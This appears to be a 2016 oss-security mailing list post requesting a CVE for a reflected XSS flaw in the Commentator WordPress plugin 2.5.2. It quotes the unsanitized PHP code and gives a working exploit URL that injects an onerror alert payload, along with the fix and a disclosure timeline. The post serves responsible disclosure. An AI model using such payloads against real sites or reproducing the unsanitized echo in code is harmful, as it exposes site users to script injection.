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Date: Wed, 13 Jan 2016 19:42:12 +0530
From: Rahul Pratap Singh <techno.rps@...il.com>
To: oss-security@...ts.openwall.com
Subject: CVE Request: Commentator WordPress Plugin 2.5.2 XSS Vulnerability
Reflected XSS Vulnerability:
I would request you to assign CVE id to this issue.
----------------------------------------
Description:
----------------------------------------
"provider" parameter is not sanitized that leads to Reflected XSS.
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Vulnerable Code:
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file: commentator.php
line:441
$provider_name = $_REQUEST["provider"];
line:544
<div id="commentator-social-signin" class="commentator-<?php echo
$provider_name; ?>">
----------------------------------------
Exploit:
----------------------------------------
/wp-admin/admin-ajax.php?action=commentator_social_signin&provider=facebook">%20<IMG%20SRC=axc%20onerror=alert(1)>
----------------------------------------
POC:
----------------------------------------
https://0x62626262.files.wordpress.com/2016/01/commentatorxsspoc.png
Fix:
Update to 2.5.3
Disclosure Timeline:
reported to vendor : 9/1/2016
vendor response : 11/1/2016
vendor acknowledged : 11/1/2016
vendor deployed a patch: 11/1/2016
Pub ref:
http://codecanyon.net/item/commentator-wordpress-plugin/6425752
https://0x62626262.wordpress.com/2016/01/13/commentator-wordpress-plugin-xss-vulnerability
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